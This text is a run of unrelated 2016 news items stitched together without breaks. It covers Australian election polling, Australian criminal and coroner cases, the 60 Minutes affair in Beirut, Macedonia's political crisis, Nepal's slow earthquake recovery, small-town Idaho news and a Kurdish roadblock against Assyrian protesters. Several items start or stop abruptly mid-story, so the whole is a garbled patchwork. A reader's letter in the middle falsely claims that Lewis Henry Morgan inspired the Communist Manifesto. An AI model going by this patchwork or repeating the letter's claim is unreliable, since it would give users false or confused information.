Third has been a pervasive sense of aimlessness and confusion. Liberal strategists prefer the euphemism "untidiness". Patrick Baume of iSentia describes the overall feeling as one of "gentle disappointment" with Turnbull. The ingredients in Shorten's magic growth cake featured standard negative politics like the GST scare campaign, but also some positive policy gambits. The negative gearing and capital gains policies and the royal commission into banks, for instance. Without the overwhelming advantage of a superhuman leader, now that the election is being fought on a pretty level field, the contest has reverted to very traditional brand-based politics. The Coalition's top priority in on growth and jobs, and Labor's is fairness. Or, as a Labor strategist calls it, "it's a Homebrand election".

Rebecca Huntley sees an opportunity for the Greens: "If there's a sense that it's a wishy-washy election, I think the Greens will do well - they always tend to do well when there's an obvious protest vote, and because [leader] Richard di Natale is seen as a pretty reasonable dude." Despite the perfect parity between the main parties in the polls, the betting markets give the Coalition a 60 per cent chance of victory on July 2. Why? It's partly because of the sheer size of the upset required to remove the government. Abbott bequeathed Turnbull a 21-seat margin in the House. But it's largely because Turnbull, even shrunken as he is, remains a potent electoral asset. He's well ahead of Shorten as preferred prime minister and in his approval rating. And, as the incumbent, he offers stability to an electorate that craves it.

Huntley explains: "People now are looking for a circuit-breaker leader, someone who can return them to a pre-Kevin Rudd challenge world. Where leaders are in power for some time, a couple of terms or perhaps 10 years. "The electorate thought that voting for Tony Abbott, while not done with a lot of enthusiasm, would put a full stop at the end of the embarrassment - people felt embarrassed [by Rudd-Gillard-Rudd instability]. But it didn't. People were embarrassed by Abbott in a different way. "People are prepared to put up with a leader they don't love to have a sense of stability. That's why people are so nostalgic about John Howard. "Turnbull has the opportunity to be the circuit breaker. That hasn't happened yet but there's still time, if he runs a good campaign and comes out of the blocks after the election." Both the main parties concur with Huntley's assessment that the people may be disappointed yet remain hopeful of Turnbull. A Labor strategist observes: "People want Turnbull to work out."
Exclusive

A regional Victorian man has pleaded guilty to sexually abusing his infant surrogate twin daughters  and two young nieces from NSW - in a case certain to fuel debate about international surrogacy laws.

The man was already abusing his nieces when he spent $44,000 to have the twins conceived overseas using a donor egg with the clear intention of sexually exploiting the children. He began abusing them when they were 27 days old and continued for seven months.

The man also produced some of the most depraved exploitation material ever seen, according to the Australian Federal Police. The man was found to have been accessing child pornography for decades.

Surrogacy laws  including the legal aspects of international surrogacy  are already being examined by a federal parliamentary committee.
But in her last days the Point Cook woman was also terrified, stalked by her obsessive, jealous ex-partner, Wayne Wood.

John and Wendy Thompson and family members leave the Coroners Court with a photo of Kelly, who died at the hands of her partner. Credit:Jason South

Her family and friends say Kelly Thompson, 43, was always the first to dream up ideas, invite people along, share her life with those she loved.

She was loyal and caring, a person who squeezed great joy from life.

Such was her distress that on her last night alive Ms Thompson fell asleep with three kitchen knives on her bedside table, a talisman against fear.

Kelly Thompson was killed by her partner Wayne Wood. Credit:Luis Ascui

Her body was found in her home in February 2014, after Wood broke into her home, stabbed her to death and then took his own life.

In the Coroners Court on Thursday a white-framed photograph of Ms Thompson in a ruby-red shirt smiled down on the small group of family and friends who gathered to hear Judge Ian Gray deliver his findings on her murder.

And he was damning.
Ali Elamine speaks to journalists after dropping charges against his estranged wife and the 60 Minutes crew. Credit:Bilal Hussein The hit to his pride and honour in family-oriented Lebanon would have been immense  compounded by the fact that within 10 months after Ali's departure, Faulkner and her new partner welcomed a baby. But it would be her desperation to see her first two children, over whom the Australian courts had granted her custody, that would consume Faulkner's new life and lead to her making her biggest mistake, for which she now looks likely to pay over her lifetime. Ibtisam Berri with a picture of her granddaughter Lahala Elamine, at her home in the southern suburbs of Beirut. Credit:AP She began contacting child abduction companies and came across Adam Whittington, a dual British-Australian ex-soldier and former Scotland Yard detective who has been exposed as falsely claiming successful child retrievals.

For his services, Faulkner needed money which she did not have, but she knew her story would be ratings dynamite. Channel Nine  no stranger to chequebook journalism  obliged. They paid $69,000 into Whittington's offshore bank account in January to pay for a "missing child investigation". They will claim they were buying the Australian mother's story and they had no idea the overseas bank account she gave them was Whittington's. Reporter Tara Brown, centre, sound recordist David Ballment, left, and Sally Faulkner, right, after being released from a Beirut jail. Credit:Nine Network Whittington proved to be an amateur cowboy at best; a fraud selling pipe dreams to desperate parents at worst. He left a trail everywhere he went from the moment he arrived in Beirut and organised for the abduction to take place in Hadath, a Hezbollah-controlled suburb where Elamine has tight contacts. The raid was carried out in broad daylight, on a busy shopping strip covered by CCTV. While Elamine had long ago cut off communications, Faulkner's email account was still accessible on the children's iPad, enabling him to monitor in real-time her contact with child abduction agencies. Sally Faulker with her children, Lahela and Noah.

In the days before the operation, Mohamad Hamza, at the request of his brother in Sweden, an acquaintance of Whittington's, conducted reconnaissance trial runs of Elamine and his children. Elamine boasted he knew of Faulkner's plans every step of the way, but said he didn't do more to stop the operation because he never thought she would go through with them. When his children were snatched off the street and his elderly mother was knocked to the ground, he knew who to call. Faulkner's reply to assure him that the children were safe with her and not with some unknown abductors would be her final undoing. Within hours police had arrested the Nine crew, two Lebanese fixers, Whittington and his British associate, Craig Michael, a Cyprus-based part-time tattooist. Paying Whittington was not the only way Nine got too close. The 60 Minutes crew filmed the kidnapping from a second car and instead of waiting to document the reunion on a yacht en route to Cyprus they accompanied Faulkner in Lebanon. Elamine has demanded the footage never see the light of day. Nine agreed and after reportedly paying half a million dollars, by Wednesday night its crew were boarding Emirates business class, bound for home. Faulkner, still in Beirut but out of jail, emerged from a custodial hearing on Thursday before Judge Rami Abdullah a broken and defeated woman. With sad eyes and a soft voice she kept repeating to Fairfax Media, "I just want to see my kids, I love my children." She saw her children briefly later that day, but her future relationship with them is irrevocably changed.

The moment she set foot onto Elamine's home soil she walked into a self-made trap. Elamine was quick to strike, insisting she relinquish her most valuable chip. "It was intense, I told her this was all over and you have to drop your custody charges," he said. She became upset with the reality of what his demand meant. He did not comfort her. He denies it was payback, but in revealing comments suggested it was her new relationship that made her unfit to look after their children. "Where she's at I don't think it's the right place for them to be at ... she's moved on, she has a family," he said. "Obviously that's not the issue," he added but complained "I want [the kids] to be around me ... because the mum wants to move on, because the court system favours the mother over the father. It's not fair for the father to miss out on stuff."
The European Union threatened sanctions on Thursday against Macedonian politicians who it says have obstructed efforts to end a long-running crisis after a push for EU-mediated talks failed.

Macedonia, a poor Balkan country on the frontline of the migrant crisis, has been in turmoil since the opposition accused then Prime Minister Nikola Gruevski and his counter-intelligence chief in February 2015 of wiretapping more than 20,000 people.

Under an EU-brokered agreement, Macedonian politicians agreed last year to appoint a special prosecutor to investigate the scandal and to hold early elections, but the process is on the brink of collapse.

The EU is willing to consider travel bans and asset freezes against politicians judged to be blocking progress, said an EU official involved in the mediation, speaking on condition of anonymity.

The official said that Macedonia faced being shunned on the world stage unless its political leaders made a concerted effort to end the 14-month-old crisis, which deepened last week when President Gjorge Ivanov drew protests by pardoning 56 officials over the wire-tapping scandal.

"We are extremely concerned by the short-sightedness of the current government. The EU is willing to consider sanctions on politicians blocking a resolution of the crisis. Macedonia is heading towards international isolation," the official said.

EU Enlargement Commissioner Johannes Hahn and three members of the European Parliament, who have acted as mediators, earlier admitted the failure of their efforts to bring Macedonian political leaders together for talks in Vienna on Friday.

Macedonia's opposition Social Democrats said they would only take part in the Vienna talks if Ivanov annulled the pardons.

They also want June 5 elections postponed until a free and fair vote can be held. They have pledged to boycott the election if it goes ahead.

The EU official said Ivanov must now annul the pardons as a pre-requisite for more EU-brokered talks.

"That is the number one priority. Only then can we go back and talk," he said.

In a statement, Hahn and the other EU mediators said Macedonia must take urgent steps to ensure the elections were credible and could be recognized by the international community.

The crisis could hinder Macedonia's attempts to join the EU and NATO, they said.

"We deeply regret retrograde steps that move the country further away from its aspirations towards European Union accession. In the absence of any further progress, we are now forced to consider further actions," they said.

Steps Macedonia must take to prepare credible elections include updating its voter list, the EU official said.

The United States and other countries have called on Ivanov to reconsider the pardons. Ivanov has stood firm, although he has said that any politician who had received a pardon could ask for it to be overturned in his or her individual case.
Reconstruction has been painfully slow in Nepal although a year has passed since a deadly 7.8 earthquake (April 25) killed more than 9,000 people and flattened tens of thousands of homes.

Political tensions, a slow moving bureaucracy and crippling fuel shortages have made it harder for poor people in the remote mountain country to pick up the pieces of their lives.

Like thousands of Nepalese, Om Prashad, was working as a domestic servant in New Delhi when his life was turned upside down on hearing that his mountain home in the Arghakhanchi district had come crumbling down. He had built it just months before with his life savings.

He rushed back after borrowing money and slowly managed to reconstruct a small structure. He never returned to his job in India, hoping to get help from authorities who he heard had received billions of dollars in aid in the aftermath of the quake. But so far, the wait has been futile.

Whatever the government promised, nothing has come. So many people are living in tents, or managing in open spaces, many have fallen sick, he laments.



After passing a bitingly cold winter in temporary shelters under tarpaulin or plastic sheeting, an estimated four million people are facing the prospect of huddling under the same structures when monsoon rains lash the mountains. The rubble of broken homes still litters many mountain villages and roads to the remote parts of the country have yet to be rebuilt.

With hundreds of villages flattened, Nepals target is to rebuild half a million destroyed homes. But the official reconstruction campaign has yet to get off the ground.

Relief agencies working to help the earthquake victims have been frustrated with the snails pace of rehabilitation.

Politics over reconstruction



Many put the blame on the governments decision to focus on promulgating a new constitution soon after the devastating quake. It not only sidetracked attention from the massive job of restoring lost homes and livelihoods, it fueled political tensions that led to violent protests by disgruntled ethnic groups.

A five-month border blockade by these groups choked supplies to the landlocked nation, leading to crippling shortages that virtually brought all activity to a standstill.



That really did not help the reconstruction, so yes in hindsight, you might say maybe the government maybe should have chosen to give the first priority to reconstruction and then the constitution, but anyway they did not do it, said the country director of Oxfam in Nepal, Cecilia Keizer, who worries about the speed of work. For four-five months it was almost impossible, we had some goods blocked at the border, we could not get gas for cooking and it was the most cold season in the country. It was quite hard for us to deliver goods.

A National Reconstruction Authority (NRA), put in charge of the job of rebuilding homes, was only established after months of delay in mid-December. International donors have pledged $4 billion, but Nepal is seeking $8 billion for a five-year program.

Sushil Gyawali, who heads the NRA, said surveys of most affected areas have been completed and the list of beneficiaries who will receive about $2,000 to reconstruct homes will be published soon. That may be small consolation for those awaiting a roof over their heads.

But Gyawali defends the organization, saying that while the pace of work may appear slow to the earthquake victims, the NRA only began work three months ago.

If you compare this to any other country in the post disaster situation, you can say Nepalese are far ahead if you look at it from the perspective of the NRA establishment, he said.

Seeking stability

Relief agencies that have struggled with the flip flops of government policy and bureaucracy hope the NRA will soon establish guidelines on rebuilding homes.

Dev Ratna Dhakhwa, secretary general of the Nepal Red Cross Society, said the agencys plans to construct hundreds of houses was stalled because they needed approval from the government. And then we were almost prepared earlier for making the shelters but then the government came up with a new authority and said that authority is responsible for giving permission, said Dhakhwa. But the good news is they have started distributing the first installment.

Even when rebuilding gets underway, many challenges lie ahead: the tough mountain terrain, the remoteness of affected areas in the Himalayan region and the lack of connectivity in terms of good roads.

Some places you have to drive for nine hours and then still walk for ten hours to reach the most remote area. In the beginning, we did a lot with helicopters but that is not affordable in the long run, said Keizer of Oxfam.



However remote the place they maybe living in, the residents of one of the worlds poorest nations are unlikely to forget the day that changed the lives of millions of people forever.

As April 25 approaches, Om Prashad fervently sends up a prayer. I hope such a black day never comes again. I will only remember this as the day that left behind so much suffering, he said.
The violence of the 7.8-magnitude earth

quake left countless towns and villages across central Nepal in shambles. Almost one year later, in shambles they remain.

The country has made almost no progress in rebuilding hundreds of thousands of homes, schools and government buildings, as well as some 600 historical structures, including ancient Hindu and Buddhist temples, monuments and palaces.

Nearly a million children still have no school to attend. Millions of villagers were forced to winter in flimsy pop-up tents and corrugated tin shacks, erected haphazardly at high altitudes and across the rolling plains.

The governments reconstruction agency has so far approved zero projects. Some citizens have started rebuilding on their own, but most are still waiting  either because they are afraid of running afoul of new, promised building regulations, or because they still hope to receive government grants.

Many of them are still living in rows of temporary shelters made from salvaged wood covered with corrugated metal sheets that are likely to be their only protection when the rainy reason returns in two months.

This has been home for all of us for the past year and it looks like we are going to be here for a long time. All we hear is the government is going to give us money to rebuild our homes, but when is that going to happen? Our kids are getting sick and we have no money, job or a government that is going to come to our rescue, said Keshar Narayan, a farmer living with eight family members in a tin shed on the outskirts of Kathmandu.

The government was quick to promise help after the April 25, 2015, earthquake, which killed nearly 9,000 people, but a year later only a few families in Dolkha district have begun to get the money. They have each received 50,000 rupees (USD467), the first installment of the 200,000 rupees promised by the government to each family who lost their home. Dolkha was among the hardest-hit districts and the epicenter of another major quake that struck May 12.

As they wait for help, even prayer can be dangerous. Many in the deeply spiritual Himalayan nation seek comfort in now-ramshackle stone temples left standing askew, sometimes held up just by wooden beams.

Every time I come to pray in the temples, I am not sure if I will even leave in one piece. We have to risk our lives just so we can pray, housewife Shanti Shrestha said in Kathmandu while holding her temple offering of a stick of burning incense and a marigold flower. We all are very angry  for a year nothing has been done.

The lack of progress isnt for want of money. Nepal, facing an estimated $6.6 billion reconstruction bill, has received $4.1 billion in pledged donations so far.

The problem, officials and aid workers say, is tangled bureaucracy and government malaise. Some frustrated donors have simply given up.

We just lost a donor who wanted to give $400,000, said UNESCOs representative to Nepal, Christian Manhart. Everything seems to be blocked because there are very lengthy government procedures.

The UNESCO office alone has about $1.8 million budgeted for Nepal, still waiting to be spent.

The government has been embroiled in political infighting while facing months of ethnic protests in which more than 50 people were killed. Since the earthquake, there has been a change of government and a new constitution adopted that took seven years to craft.

It took nearly nine months for Nepal just to set up a department to deal with quake reconstruction. But there are still no guidelines for how to approach the task. It also isnt clear which buildings are even being considered for reconstruction funds.

A Nepalese law requiring that government contracts go to the lowest bidder is also a problem, said Suresh Suras Shrestha, head of the world conservation section at the governments Department of Archaeology, which is charge of monuments and heritage sites. The lowest bidder may not have the skills or knowledge to take on structures dating back to the 5th or 6th century.

The donors who want to rebuild our monuments need to follow our rules and procedures, Suresh Suras Shrestha said.

They will also have to keep waiting to find out what those rules and procedures are.

The Department of Archaeology has defended its efforts, noting that its workers have reinforced some buildings that werent heavily damaged. It has also opened the public bidding process for 39 projects, and expects about $20 million in funding to be released for the first phase of work once the contracts are finalized. There is no clear indication of when that might happen. Restoring all monuments is expected to cost about $200 million.

The politicians just dont care about our temples. If the king was still ruling these temples and palaces would have already been built, Hindu priest Ram Singh said, referring to the monarchs who acted as guardians of Nepals monuments until the monarchy was abolished in 2008.

Piles of crumbling red brick are all that remain of the four-story Kastamandap, the 10th-century temple from which the capital of Kathmandu got its name.

Just to the east of that, hundreds of devotees still visit the temple palace of the Kumari, a girl revered by both Hindus and Buddhists as a living goddess, though its brick walls are precariously propped up by dozens of wooden beams. The Kumari, who continues to live in the temple palace, is among dozens of girls who have held the honor for the past four centuries; each steps aside once she reaches puberty.

Bricks, stones and splintered wood collected from the rubble left by the collapse of Kathmandus 10th-century Durbar Square palace remain in storage until architectural experts can sort through them and put them back in place. Nothing has been done to fix the damaged palace in the medieval town of Bhaktapur, east of the capital.

Many of the small Buddhist temples, stupas and monasteries surrounding the 5th-century hilltop shrine of Swayambhunath lie in ruins. It is also called the monkey shrine for the thousands of monkeys that congregate on the spot at the northwest edge of Kathmandu. One of its damaged dome-shaped stupas, Tashi Golma, remains covered in wire mesh and corrugated tin to protect it from deteriorating further and from theft.

In Nepal, where majority of the people are Hindu, these monuments and temples are important for cultural, religious and historical reasons. People visit temples regularly and go there for festivals, weddings and coming-of-age ceremonies.

Tired of waiting for government help, some local officials and communities are doing what they can on their own. Residents of Bhaktapur are already rebuilding a 17th-century temple to the Hindu god Vishnu, relying on volunteer labor and funds. Its unclear how much it will cost, said local heritage department official Ram Govind Shrestha, but local officials plan to solicit donations and start charging tourists for visiting.

It is really difficult to look at our damaged heritage, he said. So we just decided to begin. Binaj Gurubacharya, Kathmandu, AP
A public lecture entitled The Financial Markets in China and Hong Kong, hosted by the Faculty of Business Administration of the University of Saint Joseph, was held yesterday at the institution, attracting nearly 30 Master of Business Administration students from Portugal.

The talk highlighted a few aspects that are needed in order to improve the market in China and to make the stock market functional in allocating resources.

Wayne Wu, a professor at the City University of Hong Kong, claimed that Hong Kong is the seventh-largest stock exchange in the world, and the third-largest in Asia, with a market capitalization of over USD3 trillion with over 1,800 listed firms.

Hong Kong has done really well. Although its a very small territory, the financial market is well developed. [Hong Kong] helps the Chinese economy substantially too, especially in the regions early years. [] Hong Kong was a major source of capital for many major companies, Prof Wu revealed to the Times.

Conversely, he emphasized that Macau needs to diversify its economy, as it is vital to the continuous growth of the city, especially after the recent gaming downturn.

Having a functional capital market is also vital to Macaus future, so I think theres a lot of room to improve. Its not easy to imagine Macau being something like Hong Kong, but at least we can be a regional financial center for the Pearl River Delta.

Meanwhile, Alexander Kocsis, a lawyer from Hylands Law Firm, discussed challenges that businesses face in mainland China. He stated that the overall business climate in China offers various opportunities. However, its a platform where businesses have to be quick on their feet, especially foreign companies.

There are a lot of challenges in terms of language, but there are certainly a lot of opportunities as well. But it does require people who can act fast, says Kocsis, adding that Beijings policy is to encourage business and domestic consumption in the mainland.

Moreover the lawyer believes that Macau also provides a variety of opportunities to business start-ups and that the SAR should expand business opportunities and its offerings.

Macau was heavily reliant on casino gaming business. But even though there has been a drop, its still quite strong. [] The issue with Macau is that [the region] is accustomed to the gaming industry and I think it really needs to start looking a little bit further afield, adds Kocsis. Staff reporter
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TWIN FALLS  Police arrested two men Wednesday morning during a raid near the airport as part of an investigation that included confidential informants, undercover officers, secret tracking devices and thousands of dollars worth of methamphetamine, police said.

The 10 a.m. raid at a home just northeast of the airport, 2943 E. 3400 N., resulted in the two arrests and the seizure of drugs, guns and more than $3,000. The men arrested are accused of supplying drugs to a Filer man under investigation by the Drug Enforcement Agency and the Mini-Cassia Drug Task Force.

William Lavelle Walker, 52, and James David Jones, 62, both of Twin Falls, were each arraigned Thursday in Twin Falls County Magistrate Court on two felony drug charges.

Walker is charged with trafficking in methamphetamine, Jones is charged with possession of a controlled substance and both are charged with conspiracy to traffic in methamphetamine.

Prosecutors say the men were supplying drugs to Miguel Angel Otaegui, a 37-year-old Filer man under investigation by the DEA and Mini-Cassia Drug Task Force since February. Otaegui was arrested earlier this month in Twin Falls and charged with trafficking in methamphetamine.

During their investigation, detectives from the Mini-Cassia Drug Task Force made several controlled buys from Otaegui before enlisting the help of the DEA, court documents said.

During the investigation agents got a warrant for a secret tracking device they attached to Otaeguis car.

Otaegui told an undercover officer his supplier lived near the Twin Falls airport, and data from the tracking device showed Otaegui going to a home near the airport before and after the controlled purchases, court documents said. Twin Falls officers got a warrant for that home last week  just days after Otaegui was arrested on trafficking charges during a routine traffic stop  and served the warrant Wednesday.

Inside the home, police arrested Jones and Walker and found several small bags of methamphetamine, a pipe and $3,085 cash, court documents said. Seventeen of the bills totaling $980 matched the bills that were used during a March 31 controlled purchase between Otaegui and an undercover officer.

Police also found seven guns including a .357 Magnum revolver reported stolen out of Gooding County and a sawed-off 12-gauge shotgun, court documents said.

Walker admitted to police to selling large amounts of methamphetamine around Twin Falls and said hes been selling about two pounds of the drug each month, court documents said. He told a DEA agent he knew Otaegui through Jones and that he hides the drugs in different locations around his property.

Walker and Jones are both being held in Twin Falls County Jail, Walker in lieu of $75,000 bond and Jones in lieu of $50,000 bond. Jones was appointed a public defender while Walker made the unusual choice to waive counsel. Otaegui, arrested April 5, is being held in lieu of $250,000 bond.

Preliminary hearings are scheduled for Walker and Jones on April 29, though such hearings are often delayed. Otaegui is set for a preliminary hearing May 6 after his was delayed.
JEROME  Caitlin Nicholson of Jerome High School has been awarded a scholarship for the 2016-2017 academic year and will spend a year in Germany.

Shell join 50 U.S. high school students  sponsored by ASSE International Student Exchange Programs  who will live with host families and attend high school in Germany for one academic year.

Since 1983, the U.S. Department of State and the German government have co-sponsored the prestigious Congress-Bundestag Youth Exchange Scholarship Program to help prepare young people for a global future.

The CBYX program has enabled more than 23,000 students to expand their global perspectives and make new friends. Congress-Bundestag students are youth ambassadors of the United States, sharing their life and culture with their German hosts and building greater understanding of the United States and its diversity.

As a Congress-Bundestag scholarship recipient, Caitlin will experience German life first hand. She will live with a host family while becoming a member of her German host community and attending school.
JEROME  Shadowy figures outside the library in the middle of the night arent looking for trouble. Or books. Theyre looking for free Wi-Fi.

Edie Waite and her coworkers at the Jerome Public Library say patrons are showing up at odd hours  like 2 a.m.  with their electronic devices. Some sit on cement tables outside. Others stay in their car with the engine running to take advantage of the librarys free wireless Internet.

Come to the libraries across the Magic Valley in daylight hours, and youll find them adapting to a digital world  moving beyond just offering hard copies of books. Theyre expanding services to include offerings such as computer classes and 3D printing.

And with online card catalogs and circulation at many libraries, theres no more putting cards in the books and stamping them, Waite said. Some people still think were doing that.

The Twin Falls Public Library plans to start offering two new services within the next two weeks: mobile hotspots patrons can check out and 3D printing.

Over the years, the number of hard copy books people are checking out has remained steady, circulation supervisor CJ Rasmusson said.

But e-books and e-audio books are becoming more popular, youth services supervisor Erica Littlefield said. The library also offers free music and magazine downloads. Last year, community members downloaded nearly 33,000 digital items.

Many Idaho libraries use OverDrive  an online service that allows people to borrow e-books books for free. That has been extremely popular, Waite said.

Some community members read both e-books and hard copies, she said, depending on whats available.

In Burley, about 100,000 hard copy materials are checked out each year and that number has remained consistent, library director Julie Woodford said.

And shes seeing more young parents coming to library with their children. We do a big business with the juvenile section of the library, she said.

Here are six examples of ways libraries are expanding their services:

Mobile Hotspots

The Twin Falls library plans to offer 15 mobile hotspots  portable devices that allow for wireless Internet access  for community members to check out for three weeks.

Rasmusson heard about similar offerings at libraries across the nation. We decided to give it a shot, he said. Theyre working with T-Mobiles program for libraries.

3D Printers

Many libraries across the Magic Valley have a 3D printer theyre using in teen programs or thats available to community members.

The Burley library has two 3D printers and offers monthly classes for teens and adults.

Two years ago, the Jerome library received a grant through the Idaho Commission for Libraries Makerspace program to get a 3D printer. So far, theyve used it for teen activities.

Wed like to get to the point where the public can use it, Waite said. The library would charge a small fee for materials.

Its fun to watch the printer at work, she said. The filament is corn based, so it kind of smells sweet whenever its running.

The Twin Falls library also received its first 3D printer through the Makerspace program. Since then, the library bought a new one thats more user friendly.

The youth services department has used it during activities to create educational models and jewelry, said Kasi Allen, a youth services librarian.

Its kind of crazy in the sense that you can do anything you want to do, information technology specialist Adam Day said.

Community members will be able to create a model on a computer to print or choose from existing open-source templates.

Eventually, the Twin Falls library hopes to use the 3D printer to make educational kits people can check out.

Public Computers and WiFi

The Twin Falls library has 28 computers for adults to use, plus five for children and eight for teenagers.

Anyone can use a computer if they bring photo identification. A library card isnt required and users dont have to live in Twin Falls.

Patrons are allowed to use a computer for 1  hours every day. And the library provides building-wide WiFi access that can be used anytime, plus laptops to use at the library  but not to take home.

The Jerome library has 30 computers available to city residents. If no one is waiting, they can basically be there as long as they need to be, Waite said.

There are also two guest computers for out-of-town visitors and computers for teenagers. And there are five computers for children without Internet that have educational games.

Computer Classes

Want to become more tech savvy? The Twin Falls library can help. It offers free classes in basic computer, email and Internet skills.

The Burley library offers computer classes throughout the school year. But Woodford is looking into a grant to offer coding classes this summer.

Some libraries, including Burley, also offer hundreds of free online technology courses through Microsoft Imagine Academy with funding from the state. Many people who use the program are already in the workforce, Woodford said, and want to improve their skills.

Databases

If youre looking for information on just about any topic, there are databases and online resources librarians can help you find.

One example is the Libraries Linking Idaho website, lili.org, for students and adults. Topics include contemporary poets, an encyclopedia of food and culture, and American Eras, Primary Sources: Westward Expansion (1800-1860).

Foreign Language Software

Many of the Magic Valleys libraries offer software to help you learn a new language.

The Jerome and Twin Falls libraries, for example, have free access to Mango Languages, which provides instruction in about 60 foreign languages.

And the Jerome library has the Rosetta Stone program to use on a library computer.
BOISE  Idaho officials initially agreed to pay $7.2 million in a settlement over an illegal state contract that provided broadband in public schools.

However, a March ruling by the Idaho Supreme Court scuttled those settlement talks after justices upheld a lower court decision that the $60 million contract was illegal.

The surprise ruling by the high court came down just days before the settlement was finalized.

A draft settlement agreement obtained by The Associated Press shows that two broadband vendors  Education Networks of America and CenturyLink  would have received $3.6 million each as part of the deal that was later halted.

Vendors had filed tort claims demanding a total of $11 million, but the companies agreed to settle for a smaller amount to cover the work they had performed under the contract but hadnt been paid for.

The state halted payments after the lower court voided the contract.

Obviously that document never went into effect and obviously that effort did not happen, said Department of Administration Director Bob Geddes.

Since then, House Speaker Scott Bedke and Senate President Pro Tem Brent Hill successfully requested $8 million from the Idaho Legislature to use for a possible new broadband agreement earlier this year.

Bedke and Hill said a settlement  if one is reached  would be cheaper than the $11 million the state is currently facing in tort claims from the vendors.

However, in its ruling, the state Supreme Court said the law required the state to try to recover the money already paid out under the voided contract, but the justices held off from officially ordering state officials to do so.

Geddes says hes still deciding if his department will pursue repayment. If he declines, state Attorney General Lawrence Wasden has said hes ready to take legal action on the repayments.

I think those documents provide great insight on where weve been but not a ton of foresight on where were going to go, Geddes said.

In 2009, a consortium of telephone companies called Syringa Networks sued the state over the broadband deal, contending the Department of Administration illegally handled the contract to install the infrastructure in schools.

Idaho already has agreed to pay around $1 million for Syringa Networks legal fees. The state also has spent nearly another $1 million on its own legal defense.
TWIN FALLS  Want to know more about your family history?

The Twin Falls Family History Center is sponsoring a free public meant to get people more involved in searching for and finding their ancestors. Discovery Days activities will also help people learn how to preserve their family legacies, add names to their family trees and get new ideas on how to find names.

The event is sponsored by The Church of Jesus Christ of Latter-day Saints. It will be held from noon to 5 p.m. Saturday at Twin Falls Family History Center and the adjacent meeting house, 399 Maurice St. N. in Twin Falls. Glenn Rawson will headline the event.

He has promoted inspirational and motivational messages for nearly 20 years. Rawson can be heard weekly on The Sounds of Sunday, a syndicated radio program, which airs in many Western states. He has also produced and written for several video documentary series including the Joseph Smith Papers and History of the Saints, now in its sixth season.
Why were the Native American Indians forced from their lands to reservations? Who were the men and what policy led to this genocidal land grab? In the documentary produced by S. Edgar Smoot, The Lost Civilizations of North America, it reveals the compelling account of the wanton destruction of ancient American history. His book, Lost American Antiquities, A Hidden History reveals how American history was perverted by men to bring about Manifest Destiny.

Traditionally, Americans have been taught that before Columbus there were only savage cultures. In reality, North America was home to some of the most complex and well-organized cities, roads and earthwork structures of ancient times.

The Smithsonian was founded in 1846 to document American archaeology in Americas heartland. The original publications showed a highly civilized Indian society. However, Lewis Henry Morgan, father of American archaeology, wrote the book, Ancient Society, where he said that man evolved from savages to barbarism to civilization. He along with John Wesley Powell introduced social Darwinism to American culture. They convinced Washington politicians that the Indians were savages.

Their Manifest Destiny agenda was implemented because so-called savage Indians had no Constitutional rights. This policy led to the Indians being forced to reservations. Powell was a Major in the Army Corp of Engineers. The Corp destroyed many of the mounds and artifacts that proved that the Indians were a highly civilized people.

Morgan inspired Fredrick Engels who along with Karl Marx wrote The Communist Manifesto. Engels gave credit to Morgan for much of the socialist doctrine in the Manifesto including all property owned by the State.

Morgan and Powell were instrumental in the Federal governments policy of taking large percentages of land when Western States applied for Statehood.

Communist/socialist doctrines continue to destroy American families, confiscate private property and redistribute taxpayers wealth to people and nations.

Adrian Arp

Filer
MALTA | A 28-year-old man was killed Tuesday in a rollover crash on Interstate 84 near milepost 259.

Seth C. Wood, of Tetonia, was driving a 1997 Ford pickup east when he hit a tire and wheel from a trailer that was in the road and lost control. Wood was thrown from the pickup when it went off the road and overturned.

He was not wearing a seat belt and was pronounced dead at the scene.

Heward said it appeared the tire had not been in the roadway long.

The sheriffs office, LifeRun Ambulance and Malta Ambulance responded to the crash.

The crash remains under investigation.
Assyrian Demonstration Blocked By Kurds in Iraq

Kurdish security forces on April 13, 2016, blocked roads to prevent Christian Iraqi families from reaching the regional capital, Erbil, to hold a protest. The Christians had planned to demonstrate against what they say is encroachment on their land by Kurds. Eight Christian Iraqis told Human Rights Watch that in the Nahle Valley and other areas of northern Iraq with significant populations of Assyrians and other Christians, some Kurdish neighbors had encroached on Christian-owned land. They said that although they have property deeds, neither court orders nor recourse to officials succeeded in removing structures that Kurdish neighbors had built on their land. "A peaceful public protest is an activity that the authorities should protect, not prevent, especially not by prohibiting travel based on their religion," said Joe Stork, deputy director for the Middle East. On April 13, the Asayish, the political police of the Kurdish Regional Government, set up roadblocks at the exit of Nahle Valley, 10 kilometers north of the city of Akkre, and checkpoints throughout the region prevented Christians from reaching Erbil, including those not intending to protest, several Christians said. Emmanuel Khoshaba, leader of the Assyrian Patriotic Party, told Human Rights Watch that he and fellow Assyrians had intended to peacefully protest on April 13, in front of the Kurdish regional parliament in Erbil. Khoshaba said that the impetus for the protest was the expansion by a Kurd, a few days earlier, of a structure he had previously built on land belonging to Assyrians in the Nahle Valley. Appeals to officials provided no redress, Khoshaba said. Mikhael Benjamin, head of the non-governmental Nineveh Center for Research and Development, in the Nahle Valley, said that the Asayish erected a checkpoint on the morning of April 13 behind the last Christian village and that officers there told him that "no Christian" was allowed out. Benjamin said that taxi drivers and others who needed to leave for work but did not intend to go to the protest, were also blocked. Peter Odisho, another Assyrian from Nahle Valley, told Human Rights Watch that he wanted to go to the protest but that the Asayish roadblock prevented him. Odisho confirmed that no Christians were allowed past the roadblock. Shmael Nanno said Asayish forces prevented him and members of other Assyrian families from leaving Nahle Valley to make their way to Erbil for the protest. Kurdish authorities also prevented Christians from other areas from reaching Erbil. Evelyn Anouya, a former representative of the Assyrian minority in the Nineveh provincial council, told Human Rights Watch that she had cancelled her plan to go from Dohuk to attend the protest when she learned that all checkpoints into Erbil had orders not to allow Christians through. William Benjamin, who was in Erbil at the time, said that an Assyrian acquaintance was trying to drive from Dohuk to Erbil airport to catch a flight that morning, but that Asayish at the main Erbil checkpoint kept him for four hours under orders not to allow Christians into Erbil. Paul Malik Khoshaba, a village elder from Nahle Valley, told Human Rights Watch that he had calls from Christians who were stopped as they traveled from Kirkuk to Erbil, based on their religion, as well as from other Christians elsewhere in the region who said they were stopped as they tried to reach Erbil. Emmanuel Khoshaba said that the Christians from the Ainkawa neighborhood of Erbil, where he was at the time, also received messages from officials telling them not to go to the protest, although there were no roadblocks. Nevertheless, a few Christians were able to protest in front of parliament. Galeta Shaba, a Christian politician, handed a letter addressed to President Masoud Barzani with a set of demands to Jafar Aminki, the deputy speaker of parliament, asking for resolution of the encroachments within 72 hours. Wahida 